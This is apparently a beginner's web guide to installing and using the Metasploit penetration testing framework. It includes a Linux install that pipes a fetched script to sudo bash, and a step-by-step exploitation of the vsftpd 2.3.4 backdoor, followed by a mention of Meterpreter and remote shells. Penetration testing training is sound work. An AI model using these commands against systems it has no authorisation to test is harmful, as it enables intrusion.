Metasploit Installation and Usage Guide
Download Metasploit
Metasploit is a popular penetration testing framework that helps security professionals find, exploit, and validate vulnerabilities. Follow these steps to download, install, and use Metasploit on your system.
Step 1: Downloading Metasploit
Go to the Metasploit Website: Open your web browser and go to the official Metasploit website: https://www.metasploit.com/.
Download the Installer: Click on the 'Download' link and choose the appropriate installer for your operating system (Windows, macOS, or Linux).
Step 2: Installing Metasploit
Windows
- Download the Windows Installer: Download the .exe file from the Metasploit website.
- Run the Installer: Locate the downloaded .exe file and double-click it to run the installer.
- Follow the Installation Wizard: Click 'Next' on the welcome screen. Read and accept the license agreement. Choose the installation components (default settings are usually fine). Select the destination folder for installation. Complete the installation by clicking 'Next' and then 'Install'.
macOS
- Download the Installer: Download the .dmg file from the Metasploit website.
- Open the Installer: Locate the downloaded .dmg file and open it.
- Install Metasploit: Drag the Metasploit icon to the Applications folder.
Linux
For most Linux distributions, you can install Metasploit using the package manager. For example:
- Ubuntu/Debian:
curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfinstall | sudo bash - Fedora:
sudo dnf install metasploit - Arch Linux:
sudo pacman -S metasploit
Step 3: Using Metasploit
Starting Metasploit
Metasploit can be started from the terminal. Open your terminal and use the command msfconsole to start the Metasploit Framework.
Basic Commands
- Search for Exploits: Use the command
searchto find exploits related to a specific keyword. - Select an Exploit: Use the command
useto select an exploit module. - Show Options: Use the command
show optionsto display the available options for the selected exploit. - Set Options: Use the command
setto configure the required options (e.g.,set RHOST 192.168.1.1). - Run the Exploit: Use the command
runorexploitto execute the exploit.
Example Exploitation
Here is a basic example of exploiting a vulnerability using Metasploit:
- Search for an Exploit:
search vsftpd - Select the Exploit:
use exploit/unix/ftp/vsftpd_234_backdoor - Show Options:
show options - Set Target IP:
set RHOST 192.168.1.1 - Run the Exploit:
run
Post-Exploitation
Once you have successfully exploited a target, you can use various post-exploitation modules to gather information and perform further actions:
- Meterpreter: An advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime.
- Shell: A command shell that allows you to execute commands on the target system.
Common Tasks
Database Setup
Metasploit can use a database to store information about targets. Set up the database with the following commands:
msfdb initStart the database with:
msfdb startUpdating Metasploit
Keep Metasploit up to date with the following command:
msfupdateMetasploit is a powerful tool for penetration testing and vulnerability assessment. This guide covers the basics to get you started. For more in-depth usage, refer to the official Metasploit documentation and tutorials available online.